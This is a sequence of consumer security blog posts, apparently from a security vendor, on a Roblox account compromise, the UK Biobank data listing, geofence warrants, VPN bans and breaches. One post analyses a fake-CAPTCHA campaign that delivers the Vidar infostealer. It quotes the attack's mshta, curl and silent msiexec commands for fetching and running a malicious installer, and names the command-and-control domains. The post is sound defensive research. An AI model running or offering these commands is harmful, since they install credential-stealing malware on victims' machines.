Roblox explicitly states that, unless required by law, it is under no obligation to restore compromised accounts. It does not guarantee that accounts will be returned to their previous state or that lost virtual items and currency can be recovered. Only in very limited circumstances may Roblox offer the ability to recover lost inventory or its approximate value. It’s important to note that you must contact Roblox within 30 days of the compromise if you want assistance recovering lost items or currency. The support process typically takes 2–5 days.


Picked up something you shouldn’t have?


How to protect your Roblox account

There are a few steps that make it harder for someone to steal your Roblox account:

  • Verified email address. Ensure your account has a verified email address that you actively monitor. This helps you spot unauthorized password or email changes quickly.
  • Use unique passwords. Never reuse passwords across different accounts. If one is exposed elsewhere, attackers will try it on other platforms, including Roblox. Your Roblox password should be completely unique and stored securely. A password manager can help you with both.
  • Don’t share access. Never share your password with anyone, even with people claiming to be friends. Your account credentials should belong only to you (and your parents if you’re a minor). Roblox staff will never ask for your password.
  • Be wary of game enhancements, hacks, cracks and keys. The hackers in this case specifically distributed malware disguised as game-enhancement tools. Be extremely cautious about downloading any third-party programs, cheats, exploits, or tools that claim to improve your Roblox experience. These are often vehicles for credential theft and account compromise.
  • Keep software updated. Keep all the software on your device up-to-date, so you’re protected against the latest known exploits.
  • Use anti-malware. Run up-to-date, real-time anti-malware software to protect your device against information stealers and other malware.

Medical data of 500,000 UK volunteers listed for sale on Alibaba

24 April 2026 at 14:32

Half a million Britons signed up to help cure cancer. Their data ended up for sale on Alibaba.

The UK Biobank charity informed the British government of an incident concerning the medical data belonging to 500,000 British citizens being offered for sale on the Chinese e-commerce website Alibaba.

The National Data Guardian, Dr Nicola Byrne, said in a statement:

“People who generously share their health data to benefit others through medical research rightly expect it to be kept safe and for there to be accountability when things go wrong.”

Officials said the researchers downloaded the data under a legitimate contract, but its appearance on Alibaba shows how “approved” access can still turn into public exposure.

UK Biobank holds more than 15 million biological samples and detailed health records from volunteers recruited between 2006 and 2010, and researchers worldwide use it to study cancer, dementia, diabetes, and other chronic diseases.

UK Biobank normally signs contracts with vetted universities and private companies before it lets them access the data, but investigators traced the Alibaba listings to three research institutions. UK Biobank revoked their access and paused new data access while it strengthens security controls.

At least one listing reportedly contained data on all 500,000 volunteers, and Alibaba and Chinese authorities removed the adverts before anyone could confirm a sale.

The dataset comes from UK Biobank’s long‑running research cohort and includes genetic sequences, blood samples, medical imaging, and detailed lifestyle information used for global health research.

UK Biobank emphasizes that the data was “de‑identified,” meaning it didn’t include names, addresses, or NHS numbers. But it still contained granular demographics, such as gender, age, birth month/year, socioeconomic indicators, lifestyle details, and health measures. We have repeatedly seen that such data can be re‑linked to individuals by cross‑referencing with other public or commercial records.

Why China cares

US intelligence, policy reports, and academic work paint a consistent picture: China treats large, diverse human genomic and health datasets as a strategic resource for both economic and security reasons.

The US National Counterintelligence and Security Center (NCSC) explicitly states that the People’s Republic of China views bulk healthcare and genomic data as a “strategic commodity” to drive its biotech, AI, and precision medicine industries, and has invested billions in national genomics and precision‑medicine initiatives.

Large datasets from non‑Chinese populations are particularly valuable for building AI models and improving the global commercial competitiveness of Chinese pharma and biotech.

From an attacker’s or foreign intelligence perspective, UK Biobank is a “crown jewel” asset: It’s curated, high‑quality, population‑scale, and much more useful than random breach dumps. And because genetic data is immutable (unlike a password, it cannot be replaced), any compromise has very long‑term intelligence usefulness.

Last year, the Guardian reported that one in five successful UK Biobank access applications came from Chinese entities, including BGI, China’s flagship genomics company that was later placed on the US Entity List over concerns about its role in surveillance of minority populations.

China is not just stockpiling DNA for curiosity’s sake. It is building a global genomic map that covers adversaries as well as its own citizens.

Your genome data

There have been major concerns about genetic data ending up in the wrong hands, and for good reason. But I’m not going to say that volunteering your medical data for research is bad. Researchers often put the data to good use to help others.

But there are some good questions to ask before doing so.

  • Who runs the project and where is it based?
    Prefer non‑profit or academic biobanks with clear public‑interest mandates and strong oversight, rather than opaque commercial data brokers.
  • How do they store the collected data?
    Ask specifically about genomic data, raw sequencing files, links to medical records, and whether data is encrypted at rest and in transit.
  • Who can access the data and under what controls?
    Look for a formal access committee, strict contracts, and technical controls like secure analysis environments and limited export options, not “download CSV and walk away” models like the one that enabled the UK Biobank incident.
  • Are foreign entities allowed to access or copy the data?
    In light of US and UK government warnings about Chinese access to Western genomic data, it’s reasonable to ask whether data can be accessed, processed, or stored in jurisdictions with different security expectations.
  • How do they handle re‑identification risk?
    As we’ve discussed, “de‑identified” is not a magic word. Privacy experts and US intelligence have warned that health and genomic data can often be re‑identified when combined with other datasets.

If data containing your DNA is in someone else’s hands, you can’t put it back, but you can demand better governance, push institutions to treat genomic data as national‑security‑grade sensitive.

It also requires more skepticism of highly targeted scams. Attackers can use large combined datasets to craft convincing spear‑phishing or health‑related scams, for example, contacting you about a specific condition you or a family member has. Treat unsolicited health or DNA‑related emails, calls, and apps with extra suspicion.

How cyberattacks on companies affect everyone

23 April 2026 at 17:34

If you use the internet, you’ve likely been affected by cybercrime in some way. Even when an attack is aimed at a company, the fallout usually lands on ordinary people.

The most obvious harm is stolen data. When attackers break into a business, it is usually customer information that ends up in criminal hands, and that can lead to identity theft, tax fraud, credit card fraud, and a long tail of scam attempts that can continue for months or years. For consumers, the breach itself is often just the start of the cleanup.

That work is annoying, time-consuming, and sometimes expensive. People may have to freeze credit, replace cards, change passwords, be on the lookout for suspicious transactions, and dispute charges. The Federal Trade Commission (FTC) specifically advises consumers to use IdentityTheft.gov after a breach and recommends steps like credit freezes and fraud alerts to reduce the chance of further abuse.

When sensitive data is exposed, the harm is not only financial. Medical, insurance, and other deeply personal records can be used to create more convincing phishing or extortion attempts, and the stress of knowing that private information is circulating among criminals can linger long after the technical incident is over. In other words, breach victims are not just cleaning up a data problem, they are dealing with a loss of trust.


Breaches happen every day. Don’t be the last to know.


Cybercrime also hits consumers through service disruption. Ransomware and intrusion campaigns can interrupt payment systems, telecom services, shipping, energy distribution, booking platforms, and other infrastructure people rely on every day. In those cases, the consumer impact is immediate: you may not be able to pay, travel, call, buy, or even work normally. The CSIS timeline and Canada’s cyberthreat assessment both show that these disruptions are increasingly tied to high-value targets and can be part of broader state or criminal campaigns.

Not all these incidents are driven by cybercriminals. Recently, Britain’s cybersecurity chief warned that the UK is handling 4 nationally significant cyberincidents every week, with the majority now traced back to foreign governments rather than cybercriminal groups.

Another cost is easy to overlook: disinformation and confusion. When attackers steal data, disrupt services, or impersonate trusted brands, they can also flood the public with fake support messages, scam calls, refund schemes, and phishing emails pretending to be the breached company. The breach becomes a launchpad for more fraud, and consumers are left trying to separate legitimate notifications from those sent by attackers.

Then there is the security backlash. After a breach, companies usually tighten access rules, add more multi-factor authentication prompts, force reauthentication, shorten sessions, and increase fraud checks. Those measures are often necessary, but they also make ordinary digital life more cumbersome. The consumer ends up paying with time and frustration for security problems they did not create.

That is why company-targeted cybercrime is not really only a business problem. It is a consumer issue, a public-trust issue, and sometimes even a national security issue. A single breach can leak data, trigger fraud, interrupt essential services, amplify scams, and make using the internet more frustrating for everyone else. The real cost is rarely confined to the company that got hit.

Knowing this, it’s worth thinking carefully about which companies to trust with your data and how much you’re willing to share . You cannot stop every attack against every company you deal with, but you can limit the fallout by being more selective. Some considerations:

  • Do they need all the information they are asking for?
  • Would it hurt anything if you leave some fields blank or give less specific answers?
  • Has this company been breached in the past, and how did they handle it?
  • How long will they store the data you provide?
  • Can you easily have your data removed at your request?

Your name, address, and phone number are probably already for sale.  

Data brokers collect and sell your personal details to anyone willing to pay. Malwarebytes Personal Data Remover finds them and gets your information removed, then keeps watch so it stays that way. 

Hacked sites deliver Vidar infostealer to Windows users

16 March 2026 at 18:15

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

  • Browser-stored usernames and passwords
  • Cryptocurrency wallet information
  • Session cookies and authentication tokens
  • Autofill data and saved payment information
  • Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

Verify you are human
The fake CAPTCHA message shown to the user.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

  • The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
  • The script terminates if the document.location.href doesn’t start with http.
  • The strings are decoded using XOR and a random key.
  • Through WMI queries, the script checks for installed antivirus products.
  • It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
  • In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

C:\Windows\System32\curl.exe" -s -L -oC:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msihttps://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The custom action defined in the MSI.
The custom action defined in the MSI.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

  • Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
  • Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
  • During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
  • Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

  • Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
  • Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
  • Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
  • Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
  • Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
  • Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

How to see your Google Search history (and delete it)

10 March 2026 at 18:40

Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.

Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)

Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.

Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.

For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.

Here’s how to do that.

How to find your Google Search history

You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.

My Google Activity
The My Google Activity home page

Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:

  • Web & App Activity
  • Timeline
  • Play History
  • YouTube History

Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)

  • First, look for the search bar in the welcome screen that says Search your activity.
  • Right below, you will find the words Filter by date & product. These words are clickable. Click them.
  • Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search.
  • Press Apply.
  • Find the search bar in the My Google Activity homepage
  • Click on the words “Filter by date & product”
  • Scroll down through the list of items until you find Google Search
  • Click on the Google Search checkbox and click “Apply”

After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.

From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.

  • You can delete individual searches by clicking the “X” button in the top right corner of each search record
  • Confirm your deletion by pressing “Delete”
  • Your search is now no longer tied to your overall Google activity

If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.

How to turn off Google Search history

There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.

  • Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com)
  • Click on that quick control button we saw earlier: Web & App Activity
  • From here, you will see a new screen with the title Activity Controls
  • Find the button that says Turn off and click it
  • Choose between Turn off and Turn off and delete activity
  • Find the “Turn off” button from the Activity Controls webpage
  • You can choose one of two options for turning off your data
  • With one click, you can stop Google from recording your activity

If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.

When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.

Ring doorbells: Won’t you see my neighbor? (Lock and Code S07E05)

8 March 2026 at 23:55

This week on the Lock and Code podcast…

On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.

In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.

As US Senator Ed Markey wrote on social media:

“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”

These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.

Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.

What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.

Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.

 ”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”

Tune in today to listen to the full conversation.

Supreme Court to decide whether geofence warrants are constitutional

5 March 2026 at 11:54

Google has weighed in on a court case that will decide the future of a powerful but contentious tool for law enforcement. The company submitted an opinion to the US Supreme Court arguing that geofence warrants are unconstitutional.

A geofence warrant is a form of “reverse warrant” that turns a regular warrant on its head. Police get a regular warrant when they want to target a particular person. With a reverse warrant, police don’t know exactly who they’re looking for. Instead, they ask someone (typically a technology company) for a broad data set about a group of unknown people based on some common behavior. Then they analyze that data set for potential suspects.

With a geofence warrant, that data set is defined by a location and a time window. Law enforcement officials obtain a list of phones that were in that area during that period. Every device that was inside the circle comes back in the results, even if nobody on that list has been suspected of anything. Proximity is the only criterion.

That’s how Okello Chatrie was charged with armed bank robbery in Virginia in 2019: His phone showed up in a geofence warrant covering 17.5 acres (larger than three football fields). He argued that this kind of search isn’t constitutional and shouldn’t have been used as evidence.

In 2024, the Fifth Circuit Court of Appeals agreed with him, overturning a Fourth Circuit ruling. Now prosecutors have taken the case to the Supreme Court, with parties due to make oral arguments on April 27.

The case has seen a flurry of amicus curiae briefs, which are opinions from interested expert parties that have no direct involvement in the case. One of these is from Google, which on Monday urged the justices to consider the geofence warrants unconstitutional because of their broad scope. It has objected to more than 3,000 of them on constitutional grounds in recent months.

Google’s brief stated:

“Many of these overbroad warrants swept in hundreds, sometimes even thousands, of innocent people. State and federal courts have repeatedly granted Google’s motions to quash these overbroad warrants.”

How the database gets built

Although Google is just one of many organizations that filed amicus briefs, its position is especially notable because it has historically collected so much location data. Its Timeline feature (formerly Location History) logs device position via GPS, Wi-Fi networks, Bluetooth, and mobile signals, including when Google apps aren’t being used, according to its policy page.

At the time of the Chatrie warrant, it was recording position as frequently as every two minutes. All of that fed a centralised internal database which held 592 million individual accounts. So responding to any geofence request required Google to search essentially the entire store before producing a single name, according to an analysis by privacy advocacy group EPIC, which also regularly submits amicus briefs on privacy cases.

Google moved Timeline storage from its own servers onto users’ devices in July 2025, closing the door to fresh cloud-based requests against its own systems. But the constitutional question survives for historical data and for any company that has not followed suit.

The warrant that grew and grew

A geofence warrant does not stay fenced, according to a separate brief that the Center for Democracy and Technology (CDT) filed in the case last week. It said Google’s standard response to warrants had three steps. First it would deliver an anonymized list of devices inside the geofence. Then, police could ask for movement data on chosen “devices of interest,” which could track them outside the geographic boundary and beyond the original time window. Finally, again without any further judicial approval, police could ask for subscriber-identifying information for whichever devices police chose to unmask.

In the Chatrie case, positioning data was imprecise enough that, as the district court found, the warrant may have included devices outside the intended area. According to the CDT brief:

“The Geofence Warrant could have captured the location of someone who was hundreds of feet outside the geofence.”

The CDT argues in its brief that this can expose the privacy of people going about their everyday lives, engaging in legal activities that they might not want others to know about. The warrant that scooped up Chatrie included a hotel and a restaurant.

Some of these requests are far broader. Google successfully challenged a warrant asking for the location history of anyone in large portions of San Francisco for two and a half days, it said. Google complained in its brief:

“No court would authorize a physical search of hundreds of people or places, yet geofence warrants sometimes do so by design.”

What can you do to stop yourself getting swept up in a geofencing search?

If your phone stores detailed location history with Google, that data may be included in geofence warrant responses. Limiting what gets saved can reduce how much location information exists in the first place.

There are two Google settings that matter: Timeline (Location History) and Web & App Activity. Turning off one does not automatically disable the other.

Timeline stores a detailed record of where your device has been, although it’s off by default. Web & App Activity can also log location signals when you use Google services like Search, Maps, or other apps.

Google provides instructions on how to review and disable these settings in its support documentation:

Google has previously settled lawsuits accusing it of misleading users about how location data is stored across these settings, so reviewing both controls is important.

Reverse warrants may not stop at location data

The implications of the case extend well past maps, though. The CDT brief warns that if courts endorse the logic behind geofence warrants, then law enforcement may try to apply the same approach to other large datasets held by technology companies, such as AI chatbot data. That’s a step the DHS has already taken, issuing what has been reported as the first known warrant for ChatGPT user data.

Does the UK really want to ban VPNs? And can it be done?

4 March 2026 at 14:44

The idea of a “Great British Firewall” makes for a catchy headline, but it would be riddled with holes and cause huge problems.

The Guardian reports that the GCHQ (Government Communications Headquarters), a UK intelligence, security, and cyber agency, is exploring the idea of a British firewall offering protection against malicious hackers. It falls within its remit, but one of the measures reportedly discussed—banning VPN software—raises practical and technical questions.

Here’s what you actually need to know, and why you shouldn’t panic about your VPN just yet.

  • There are no current plans on the statute books to ban VPNs for everyone. Ministers and regulators explicitly acknowledge VPNs as lawful services with legitimate uses.
  • The current political focus is on “online safety”, especially kids accessing porn and harmful content, and how VPNs can undermine the Online Safety Act’s age‑assurance and filtering regime.
  • The latest move is an online‑safety consultation that explicitly mentions “options to age-restrict or limit children’s VPN use where it undermines safety protections”, not an outright nationwide ban.

So what may happen is tighter controls around minors, and perhaps pressure on app stores and platforms, rather than a blanket prohibition for adults.

Options

Technically speaking, these are some of the measures available to address VPNs bypassing geo-blocking and local legislation.

  • App‑store and download pressure: Require Apple/Google to hide or age‑gate VPN apps for UK accounts, or block listing of some consumer VPNs. This raises friction for non‑technical users but is trivial to route around (sideloading where possible, non‑UK stores, manual configs).
  • Commercial provider lists: Buy accounts at popular VPNs, enumerate exit IP ranges, and require ISPs or certain sites (e.g. porn sites) to block those IPs. This can catch a large chunk of mainstream VPN traffic but is high‑maintenance and easy to evade with IP rotation, residential proxies, self‑hosted VPNs, and lesser‑known services.
  • Targeted site‑level blocking of VPNs: Require certain categories of sites (e.g. adult sites) to reject traffic that appears to come from VPN IPs, an idea already floated by some experts as more likely than an outright technology ban. That still leaves VPNs usable for everything else, including general browsing and work.
  • Age‑based device/network controls: Mandate school networks, child‑oriented devices, or parental control routers to block known VPN endpoints and app traffic, as media regulator Ofcom and others have suggested may be possible at the home‑router level. Again, this targets minors rather than adults and is only as strong as the weakest network they connect to (a friend’s Wi‑Fi, mobile hotspot, etc.).

All of these are “making it harder” tactics rather than a hard technical kill switch.

Why a watertight VPN ban is essentially impossible

To comprehensively block VPNs, the government would need to require internet providers to inspect traffic, restrict apps from app stores, and attempt to cut off access to thousands of VPN servers worldwide. That would be a massive, expensive, and deeply complicated undertaking—and it still wouldn’t work.

Problem 1: VPNs are basically invisible

Modern VPNs are designed to look very similar to normal web browsing. When you load a website over HTTPS (the padlock in your browser) and when you connect to a VPN, the traffic flowing through your internet connection looks almost identical. Reliably telling them apart is a bit like trying to spot which cars on a motorway are taxis versus private vehicles based solely on their tire tread patterns at motorway speed, for every car, in real time. You’d end up accidentally blocking huge amounts of perfectly ordinary internet traffic in the attempt.

Problem 2: Too many legitimate users depend on VPNs

VPNs aren’t just for privacy-conscious consumers. They’re how millions of people securely connect to their workplace from home. The NHS (the UK’s National Health Service) uses them for remote access. Journalists use them to protect sources. Researchers use them to access academic resources. Any serious enforcement effort would have to grapple with the risk of collateral damage to businesses and public services.

Problem 3: The ban would be trivially easy to bypass

Even if the government successfully blocked every major commercial VPN app and service, technically skilled users could simply rent a cheap server anywhere in the world and set up their own private tunnel in under ten minutes. There are also tools designed to evade exactly this kind of blocking, disguising encrypted traffic as ordinary web activity.

We know this because Russia has been trying to block VPNs for years, using the full weight of state enforcement behind it. But VPN usage in Russia has surged, not declined. Blocked services pop up under new names and addresses and new tools emerge overnight. This track record suggests that long-term, comprehensive suppression is difficult, even with aggressive powers of enforcement.

What does this actually mean for UK citizens?

The government can probably make consumer VPN use slightly more inconvenient, removing apps from UK app stores, for instance, or creating legal grey areas for certain uses. But a genuine, technical ban on VPN software and encrypted connections is not realistically achievable without causing serious collateral damage to the UK’s digital economy and the millions of people who depend on this technology for entirely legitimate reasons.

Don’t ditch your VPN. The Great Firewall of Great Britain isn’t coming. And if it tried, it would have more holes than a fishing net.

Intimate products producer Tenga spilled customer data

19 February 2026 at 12:48

Tenga confirmed reports published by several outlets that the company notified customers of a data breach.

The Japanese manufacturer of adult products appears to have fallen victim to a phishing attack targeting one of its employees. Tenga reportedly wrote in the data breach notification:

“An unauthorized party gained access to the professional email account of one of our employees.”

This unauthorized access exposed the contents of said account’s inbox, potentially including customer names, email addresses, past correspondence, order details, and customer service inquiries.

In its official statement, Tenga said a “limited segment” of US customers who interacted with the company were impacted by the incident. Regarding the scope of the stolen data, it stated:

“The information involved was limited to customer email addresses and related correspondence history. No sensitive personal data, such as Social Security numbers, billing/credit card information, or TENGA/iroha Store passwords were jeopardized in this incident.”

From the wording of Tenga’s online statement, it seems the compromised account was used to send spam emails that included an attachment.

“Attachment Safety: We want to state clearly that there is no risk to your device or data if the suspicious attachment was not opened. The risk was limited to the potential execution of the attachment within the specific ‘spam’ window (February 12, 2026, between 12am and 1am PT).”


See if your personal data has been exposed.


We reached out to Tenga about this “suspicious attachment” but have not heard back at the time of writing. We’ll keep you posted.

Tenga proactively contacted potentially affected customers. It advises them to change passwords and remain vigilant about any unusual activity. We would add that affected customers should be on the lookout for sextortion-themed phishing attempts.

What to do if your data was in a breach

If you think you have been affected by a data breach, here are steps you can take to protect yourself:

  • Check the company’s advice. Every breach is different, so check with the company to find out what’s happened and follow any specific advice it offers.
  • Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
  • Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
  • Watch out for impersonators. The thieves may contact you posing as the breached platform. Check the official website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
  • Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
  • Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but it increases risk if a retailer suffers a breach.
  • Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.
  • Use our free Digital Footprint scan to see whether your personal information has been exposed online.
